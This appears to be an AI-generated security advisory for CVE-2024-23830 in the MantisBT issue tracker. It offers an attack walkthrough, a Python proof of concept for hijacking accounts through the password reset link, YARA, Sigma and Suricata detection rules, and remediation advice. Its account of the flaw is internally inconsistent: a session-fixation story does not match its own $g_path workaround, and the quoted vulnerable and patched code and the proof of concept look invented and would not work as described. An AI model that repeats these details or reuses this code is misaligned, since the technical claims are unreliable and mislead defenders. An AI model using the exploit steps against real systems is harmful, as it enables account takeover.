CVE-2024-23830

Executive Summary

CVE-2024-23830 is a critical session fixation vulnerability in MantisBT, an open-source issue tracker. An unauthenticated attacker who knows a target user's email address and username can hijack their account by poisoning the password reset link. The attack exploits a flaw in the password reset notification mechanism, allowing the attacker to inject a malicious session identifier. When the victim clicks the poisoned link, the attacker can assume their authenticated session. The vulnerability has a CVSS score of 8.3 (High) and affects all versions prior to 2.26.1. A patch is available in version 2.26.1, and a workaround involves configuring $g_path in config_inc.php.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Base Score: 8.3 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) – victim must click the poisoned link
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. The attack requires minimal complexity and no privileges, only knowledge of the victim's email and username. Successful exploitation leads to full account takeover, enabling the attacker to access sensitive project data, modify issues, and potentially pivot to other systems.

Deep Dive & Mechanics

The vulnerability resides in the password reset functionality of MantisBT. When a user requests a password reset, the system generates a unique token and sends a link via email. The link typically includes a session identifier (e.g., PHPSESSID) to maintain state during the reset process.

Attack Flow:

1. Reconnaissance: The attacker identifies a target user's email address and username (e.g., via public issue comments or OSINT).
2. Poisoning: The attacker crafts a malicious password reset link containing a known session identifier (e.g., https://target.com/mantisbt/reset_password.php?confirm_hash=ATTACKER_HASH&PHPSESSID=ATTACKER_SESSION).
3. Delivery: The attacker sends this link to the victim (e.g., via phishing email or social engineering).
4. Trigger: The victim clicks the link, initiating the password reset process with the attacker-controlled session.
5. Hijack: The attacker, using the same session identifier, can now access the victim's account without needing the actual password reset token.

The root cause is insufficient validation of the session identifier in the password reset flow. The system does not properly bind the reset token to the user's existing session, allowing an attacker to pre-set a session ID.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-2.26.1):

// In reset_password.php
$f_confirm_hash = gpc_get_string( 'confirm_hash', '' );
$f_session_id = gpc_get_string( 'PHPSESSID', '' );
// No validation that session ID matches the user's current session
// Attacker can inject arbitrary session ID

Patched Code (2.26.1):

// In reset_password.php
$f_confirm_hash = gpc_get_string( 'confirm_hash', '' );
$f_session_id = gpc_get_string( 'PHPSESSID', '' );
// Validate that the session ID matches the user's current session
if ( $f_session_id !== session_id() ) {
    trigger_error( ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID, ERROR );
}

The patch adds a check to ensure the session ID in the request matches the current session ID of the user. This prevents attackers from injecting a pre-set session ID.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target MantisBT instance (version < 2.26.1)
• Victim's email address and username
• Ability to send a crafted link to the victim

Exploitation Steps:

1. Start a session: Visit the MantisBT login page and capture your own session ID (e.g., via browser developer tools).
2. Craft the malicious link:

   https://target.com/mantisbt/reset_password.php?confirm_hash=ATTACKER_HASH&PHPSESSID=YOUR_SESSION_ID
   

3. Send the link to the victim via email or other means.
4. Wait for the victim to click the link.
5. Access the victim's account by using the same session ID (e.g., by setting the PHPSESSID cookie in your browser).

Proof-of-Concept (Python):

import requests

target = "https://target.com/mantisbt"
victim_email = "victim@example.com"
victim_username = "victim_user"
attacker_session = "attacker_session_id_123"

# Step 1: Start a session and get a session ID
session = requests.Session()
session.get(f"{target}/login_page.php")
attacker_session = session.cookies.get("PHPSESSID")

# Step 2: Craft the malicious reset link
malicious_link = f"{target}/reset_password.php?confirm_hash=FAKE_HASH&PHPSESSID={attacker_session}"

# Step 3: Send the link to the victim (simulated)
print(f"Send this link to the victim: {malicious_link}")

# Step 4: After victim clicks, access the account
response = session.get(f"{target}/my_view_page.php")
if "victim_user" in response.text:
    print("Account hijacked successfully!")

Blue Team (Detection & Response)

Detection:

• Monitor for multiple password reset requests from the same IP in a short time.
• Alert on password reset links containing suspicious or non-standard session IDs.
• Log and review all password reset attempts, especially those with unusual PHPSESSID values.

Response:

• Immediately invalidate all active sessions for the affected user.
• Force password reset for the compromised account.
• Review access logs for unauthorized activity.
• Apply the patch or workaround.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /reset_password.php with a PHPSESSID parameter that does not match the user's current session.
  • Multiple password reset requests from the same IP address.
• Logs:
  • ERROR_LOST_PASSWORD_CONFIRM_HASH_INVALID errors in application logs (after patch).
  • Unusual session IDs in password reset requests.
• File:
  • Modified config_inc.php with $g_path defined (workaround indicator).

Detection Engineering

YARA Rule

rule CVE_2024_23830_MantisBT_Session_Fixation {
    meta:
        description = "Detects session fixation attempts in MantisBT password reset requests"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23830"
    strings:
        $s1 = "reset_password.php" nocase
        $s2 = "PHPSESSID=" nocase
        $s3 = "confirm_hash=" nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2024-23830 - MantisBT Password Reset Session Fixation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit session fixation in MantisBT password reset
author: Valters IT
date: 2024-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-23830
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'reset_password.php'
            - 'PHPSESSID='
            - 'confirm_hash='
    condition: selection
falsepositives:
    - Legitimate password reset requests
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-23830 - MantisBT Password Reset Session Fixation"; flow:to_server; content:"reset_password.php"; http_uri; content:"PHPSESSID="; http_uri; content:"confirm_hash="; http_uri; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade to MantisBT version 2.26.1 or later.
2. Workaround: Define $g_path in config_inc.php to restrict the base URL and prevent session injection.

   $g_path = 'https://yourdomain.com/mantisbt/';
   

3. Invalidate all active sessions after applying the patch.

Long-term Measures:

• Implement additional session validation (e.g., bind session to IP address or user agent).
• Enable multi-factor authentication (MFA) for all accounts.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other components.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.